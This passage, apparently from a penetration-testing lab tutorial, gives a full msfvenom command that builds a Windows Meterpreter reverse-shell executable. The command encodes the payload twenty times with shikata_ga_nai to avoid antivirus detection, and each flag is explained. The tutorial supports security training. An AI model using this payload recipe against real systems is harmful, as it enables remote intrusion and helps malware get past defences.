Next, let’s apply encoding to the payload using the **shikata_ga_nai** encoding module and perform 20 iterations of the encoding to reduce the threat detection rating of the custom payload; use the following command:
[[msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.22 LPORT=1234 -e x86/shikata_ga_nai -i 20 -f exe -o payload2.exe]]
Don't forget to replace 192.168.168.22 with the IP address of your Kali Linux VM.
The given command generates a **Windows Meterpreter reverse TCP payload** using **msfvenom** and applies encoding to make the payload harder to detect by security tools.
- \-p: to specify the payload to generate (here, windows/meterpreter/reverse_tcp is a reverse shell that connects back to the attacker's machine)
- LHOST: to specify the IP address of the attacker's machine to which the payload will connect.
- LPORT: to specify the port on the attacker's machine to which the payload will connect.
- \-e: to apply an encoder to the payload (here, the x86/shikata_ga_nai is used to obfuscate the payload, making it less likely to be detected by antivirus or intrusion detection systems.
- \-i: to specify the number of iterations the encoder should run (each iteration adds another layer of obfuscation, increasing the difficulty for detection tools to recognize the payload)
- \-f: to specify the output format of the payload (here, it will generate a Windows .exe file).
- \-o: to save the generated payload to a file (here, it is named payload2.exe)